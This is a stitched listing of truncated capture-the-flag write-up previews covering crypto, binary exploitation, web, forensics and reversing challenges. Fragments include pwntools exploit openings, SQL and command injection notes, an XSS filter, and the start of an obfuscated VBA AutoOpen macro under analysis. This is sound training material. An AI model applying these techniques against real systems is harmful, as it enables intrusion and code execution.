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# Melek> ### Difficulty: Medium>> [Melek](https://cr.yp.toc.tf/tasks/melek_3d5767ca8e93c1a17bc853a4366472accb5e3c59.txz) is a secret sharing scheme that may be relatively straightforward to break - what are your thoughts on the best way to approach it?
## Solution```py#!/usr/bin/env sage
from Crypto.Util.number import ... |
# Honey> ### Difficulty: Medium>> [Honey](https://cr.yp.toc.tf/tasks/honey_fadbdf04ae322e5a147ef6d10a0fe9bd35d7c5db.txz) is a concealed cryptographic algorithm designed to provide secure encryption for sensitive messages.
## Initial analysis```py#!/usr/bin/env python3
from Crypto.Util.number import *from math import sq... |
# nloads
ChatGPT: "Why did the application break up with the dynamic library? Because every time they got close, it changed its address!"
Don't break up. Get the flag. There is only one flag.
nloads provides us with 13613 folders of binaries, each folder contains a `./beatme` binary that takes 8 bytes of input.... |
__Original writeup:__ <https://github.com/kyos-public/ctf-writeups/blob/main/insomnihack-2024/Pedersen.md>
# The Challenge
The goal was to find a collision in the Pedersen hash function (i.e., find distinct inputs that yield the same output).
We had access to a running version of the code (a hashing oracle), as indicat... |
from memory and a partial note.
The web page contained a SQL injection.
There was a condition to pass in order to go into the get results.
if username != 'admin' or password[:5] != 'admin' or password[-5:] != 'admin': ...exit() This required username to be "admin"And it required that the password starts with admin [:5]... |
We can see a shell ```$ cat with | vim/bin/bash: line 1: vim: command not found```And apparently the shell is stuck in a mode, where each command is prefixed by a 'cat' command of some file, which is piped to the command we are entering. For example, the command 'more' will result in the piped text to be printed on the... |
We are thrown into a shell that adds the prefix 'wa' to each command line parameter.
``` _ _ __ __ __ __ _ | |__ __ _ ___ | |_ \ V V // _` | | '_ \ / _` | (_-< | ' \ \_/\_/ \__,_| |_.__/ \__,_| /__/_ |_||_| _|"""""|_|"""""|_|"""""|_|"""""|_|""... |
Decompiled:
```C#include "out.h"
int _init(EVP_PKEY_CTX *ctx)
{ int iVar1; iVar1 = __gmon_start__(); return iVar1;}
void FUN_00101020(void)
{ // WARNING: Treating indirect jump as call (*(code *)(undefined *)0x0)(); return;}
void FUN_00101050(void)
{ __cxa_finalize(); return;}
void __stack_ch... |
Attachments: * imagehost.zip
In this zip file there is a python implementation of an imagehost web server.This implementation contains code for session handling via JSON Web Tokens:```pythonfrom pathlib import Path
import jwt
def encode(payload, public_key: Path, private_key: Path): key = private_key.read_bytes() retu... |
Attachments: * dist.zip
The dist.zip contains an index.js file with the following code:```javascriptconst express = require('express')const puppeteer = require('puppeteer');const cookieParser = require("cookie-parser");const rateLimit = require('express-rate-limit');require('dotenv').config();
const app = express()con... |
> https://uz56764.tistory.com/124
```pyfrom pwn import *import struct
context.arch = "amd64"
nan = struct.unpack("Q", struct.pack("d", float('nan')))[0]
#r = process("dotcom_market")r = remote("dotcom.shellweplayaga.me", 10001 )
r.sendlineafter(b"Ticket please:", b"ticket{here_is_your_ticket}")
r.sendlineafter(b"Enter ... |
1. decompile the challenge binary file, easy to understand, nothing to say
1. In file backdoor.py found that:
```ctxt = (pow(g, int.from_bytes(ptxt, 'big'), n_sq) * pow(r, n, n_sq)) % n_sq```
because of :
```ctxt == (g ^ ptxt) * (r ^ n) mod n_sq=> ctxt^a == ((g ^ ptxt) * (r ^ n))^a mod n_sq=> ctxt^a == (g ... |
# Full writeupA detailled writeup can be found [here](https://ihuomtia.onrender.com/umass-rev-free-delivery).
# Summarized Solution- Decompile the apk using `jadx`- Extract a base64 encoded string from `MainActivity.java`, the string is `AzE9Omd0eG8XHhEcHTx1Nz0dN2MjfzF2MDYdICE6fyMa`.- Decode the string and then xor it ... |
## Full WriteupA detailed writeup can be found [here](https://ihuomtia.onrender.com/umass-pwn-bench-225).
## Solve script```pythonfrom pwn import * def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server',... |
We are provided with a png image.
Using zsteg, we can analyze the png file.```zsteg -a her-eyes.png```
Looking at the zsteg results, we can see that there is some text hidden in zlib with 'b2,rgb,lsb,yx'.```b2,rgb,lsb,yx .. zlib: data="Her \xF3\xA0\x81\x8Eeyes \xF3\xA0\x81\x89stare \xF3\xA0\x81\x83at \xF3\xA0\x81... |
# TaskThe challenge was a php webproxy and a Tomcat server (that was not directly accessible, only via the webproxy). The Tomcat server has the manager webapp deployed, and some configs, specially a user (including password) for the manager app. User/Passwort is just "admin".# SolutionThe Manager Tomcat App can be used... |
## JumperWe get the source code zip and a link to a website. The website is a proxy that lets us visit other websites, based on a github repo that already existed.
Looking at the source zip, we don't actually get a lot of source. It's simply a docker-compose deploying two containers: One with the `php-proxy` and one wi... |
# web/Spongebobs Homepage> Welcome to this great website about myself! Hope you enjoy ;) DIRBUSTER or any similar tools are NOT allowed.
There is a `#command-injection` in the `/assets/image` path in `size` query parameter. The size is passed on to the **convert-im6.q16** command. When I tried various command injection... |
# web/b01ler-ad> Ads Ads Ads! Cheap too! You want an Ad on our site? Just let us know!`http://b01ler-ads.hammer.b01le.rs`
XSS challenge - We are allowed to input any html data we want and the admin visits that but the content should not contain quotes, double quotes and backticks:
Main challenge```js const content = r... |
# Phreaky> In the shadowed realm where the Phreaks hold sway, A mole lurks within, leading them astray. Sending keys to the Talents, so sly and so slick, A network packet capture must reveal the trick. Through data and bytes, the sleuth seeks the sign, Decrypting messages, crossing the line. The traitor unveiled, with ... |
# forens/An unusual sighting (? solves)> As the preparations come to an end, and The Fray draws near each day, our newly established team has started work on refactoring the new CMS application for the competition. However, after some time we noticed that a lot of our work mysteriously has been disappearing! We managed... |
# It Has Begun> The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.
We start with a `script.sh` containing some bash commands.
```bash#!/bin/sh
if [... |
# Urgent> In the midst of Cybercity's "Fray," a phishing attack targets its factions, sparking chaos. As they decode the email, cyber sleuths race to trace its source, under a tight deadline. Their mission: unmask the attacker and restore order to the city. In the neon-lit streets, the battle for cyber justice unfolds,... |
## The Challenge
### Challenge Metadata
The challenge got 89 solves, and I personally got the blood on this challenge! ?
Here is the challenge description:
> Caddy webserver is AWESOME, using a neat and compact syntax you can do a lot of powerful things, e.g. wanna know if your browser supports [HTTP3](https://http3.ca... |
# Corruption> Can't seem to open the file. The file was corrupted with operations used through this application: (Link to cyberchef download).
This challenge was a fair bit guessy in my opinion but the solution in the end was found.
We start with a 'corrupted' file which was modified using CyberChef (attached via a dow... |
# Forensics/Contracts> > Magical contracts are hard. Occasionally, you sign with the flag instead of your name. It happens.
Given a PDF with the context that it was signed with the flag by accident, so looking into PDF extraction I find [`pdfly`](https://github.com/py-pdf/pdfly) which seems to have capabilities to extr... |
# Intergalactic Cinema
## Description```I was partaking in a fun viewing of some show/movie with my alien bros but couldn't understand anything due to the alien voice dubbing present in the movie.
I've managed to download a script of what was said during the viewing but it seems to be encrypted, can you help me decrypt... |
# ᒣ⍑╎ϟ ╎ϟ リᒷᖋᒣ
## Description```We have reason to believe that Mortimer is rebuilding the Armageddon Machine. We managed to intercept a message sent from his personal computer. After consulting with the Oracle, we were only able to discover two things:
The tool used to encrypt messages (encrypt.py)All messages sent by ... |
# Slowly Downward
## Description```We've found what appears to be a schizophrenic alien's personal blog. Poke around and see if you can find anything interesting.
http://slow.martiansonly.net```
## Writeup
Starting off, we can look at the `html` of the website. ```html
<html lang="en"><head> <meta charset="UTF-8"> ... |
# Space Heroes ATM Writeup
## IntroductionIn this writeup, we'll discuss the exploitation of the "Space Heroes ATM" challenge. The goal was to exploit a vulnerability in the provided binary to gain unauthorized access to the ATM and retrieve the flag.
## Initial AnalysisUpon analyzing the binary, we discovered that it ... |
# Space Heroes Falling in ROP Writeup
## IntroductionIn this writeup, I'll explain the process of exploiting the "Space Heroes Falling in ROP" challenge in the Pwn category. The goal was to retrieve the flag by exploiting a vulnerability in the provided binary.
## Initial AnalysisFirst, let's analyze the binary. We not... |
# Slowly Downward
> We've found what appears to be a schizophrenic alien's personal blog. Poke around and see if you can find anything interesting.> > http://slow.martiansonly.net> > Author: liabell
Solution:
No source file(s) given...let's check the challenge site.
, an open source game engine:
```Godot Engine v4.2.1.stable.custom_build - https://godotengine.orgOpenGL API 3.3.0 NVIDIA 517.48 - Compatibility - Using Device: NVIDIA - NVIDIA GeForce MX250... |
For this assignment, we had the page and code for this site. On the site, we can add fields and then create a company or edit it (absorb it).
## Understanding the challenge- The description suggests that there is a secret hidden in the source code of the password-guesser and secret is given when we give password.- There is also a file password-guesser.elf- Maybe we have to deco... |
# SpaceNotes - THCON 2024
## Challenge
## Understanding the challenge
### Looking at the webpage
```chall.ctf.thcon.party:port/?username=base64encoded-string```- We have to retrive admin user notes.- Directly accessing through admin base64 encoded string gives an error maybe there are some ch... |
"Employee Evaluation"
In this challenge, we're presented with a script prompting us for input.
/-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\ | | | SwampCo Employee Evaluation Script™ | | | ... |
"Reptilian Server"
For this challenge, we're presented with a target host and a `server.js` file:
const vm = require('node:vm'); const net = require('net');
// Get the port from the environment variable (default to 3000) const PORT = process.env.PORT || 3000;
//... |
In this task, we need to find `flag.txt` by uploading the zip via the website.
Since in the task, there's that flag.txt is located in the home folder, it will probably be in `home/<user>/flag.txt`
Although we don'... |
> Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with... |
```Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?```
### Setup
```soliditypragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup { RussianRoulette public immutable TARGET;
constructor() p... |
> Weak and starved, you struggle to plod on. Food is a commodity at this stage, but you can’t lose your alertness - to do so would spell death. You realise that to survive you will need a weapon, both to kill and to hunt, but the field is bare of stones. As you drop your body to the floor, something sharp sticks out of... |
## misc / Stop Drop and Roll
> The Fray: The Video Game is one of the greatest hits of the last... well, we don't remember quite how long. Our "computers" these days can't run much more than that, and it has a tendency to get repetitive...
```plaintext===== THE FRAY: THE VIDEO GAME =====Welcome!This video game is very ... |
We are given `deals.xlsm` and it has a macro in it.
```vbSub AutoOpen()Dim RetvalDim f As StringDim t53df028c67b2f07f1069866e345c8b85, qe32cd94f940ea527cf84654613d4fb5d, e5b138e644d624905ca8d47c3b8a2cf41, tfd753b886f3bd1f6da1a84488dee93f9, z92ea38976d53e8b557cd5bbc2cd3e0f8, xc6fd40b407cb3aac0d068f54af14362e As Stringxc... |
# UnholyEXE
Remember, Terry zealously blessed the PCNet driver.
### Resources Used
[ZealOS-wiki](https://zeal-operating-system.github.io/ZealOS-wiki/)
[ZealOS Discord](https://discord.gg/rK6U3xdr7D)
[Running the ZealOS Gopher Browser (Virtual Box only) - YouTube](https://www.youtube.com/watch?v=eFaMYuggM80)
[ZealOS Doc... |
## ROSSAU- Tags: crypto- Author: BrokenAppendix- Description: My friend really likes sending me hidden messages, something about a public key with n = 5912718291679762008847883587848216166109 and e = 876603837240112836821145245971528442417. What is the name of player with the user ID of the private key exponent? (Wrap ... |
## babypwn- Tags: pwn- Description: Just a little baby pwn. nc babypwn.wolvctf.io 1337
## Solution- To solve this question you need to download the following files and open the source code. You will see the following:
```#include <stdio.h>#include <string.h>#include <unistd.h>
struct __attribute__((__packed__)) data { ... |
## WOLPHV I: Reconnaissance- Tags: OSINT- Description: A new ransomware group you may have heard about has emerged: WOLPHV. There's already been reports of their presence in articles and posts. NOTE: Wolphv's twitter/X account and https://wolphv.chal.wolvsec.org/ are out of scope for all these challenges. Any flags fou... |
## Made Sense- Tags: Misc, Makekjail, Jail- Description: i couldn't log in to my server so my friend kindly spun up a server to let me test makefiles. at least, they thought i couldn't log in :P
## Solution- When we visit that website, we can see there a link to source code of it.
```import osfrom pathlib import Pathim... |
## PQ- Tags: Crypto- Description: Sup! I have a warm-up exercise for you. Test yourself!
## Solution- To solve this question you need to download the two files and open them. One contains a script, another contains an output after encryption process.- This is a RSA encryption. RSA is a type of asymmetric encryption, wh... |
1. Use the protocol statistics to determine that the bulk of the traffic is modbus1. There are several devices. Trial and error determines that the device with IP 10.0.2.7 is the one of interest.1. The TCP payload shows the following structure: 000400000006000600[03]00[66]1. We are interested in the thi... |
TLDR: We are given a server that communicates over ICMP, like the `ping` command. Use a utility that is capable of crafting custom ICMP packets and interact with a TinyDB on the remote machine to obtain the flag. I
Full writeup here: https://meashiri.github.io/ctf-writeups/posts/202403-jerseyctf/#p1ng-p0ng
```$ sudo ... |
Help Goku get over 9000 energy to defeat his enemy Vegeta and save the world.
3.23.56.243:9005
---
Visit the site. Head to Chrome Dev Tools --> Sources. Here's the .js file controlling it all:
```js
let currentEnergy = 0;
function gatheringEnergy(){ currentEnergy++; $("#energycount").html(`${currentEnergy}`... |
We are at 3.23.56.243:9003. We are so secure that we only allow requests from our own origin to access secret data.
---
Checking out the page request in Burp, we find this line in the response:
```yamlAccess-Control-Allow-Origin: https://texsaw2024.com```
So that's what our origin needs to be. Send the request to /... |
The flag is at 3.23.56.243:9008. Unfortunately it seems like the site is down right now :( . Maybe you can ask someone for help? Don't blow up their inbox though :) and make sure you clearly tell them what you want.
---
Visiting the [site](http://3.23.56.243:9008/), we are presented the following message, and nothing... |
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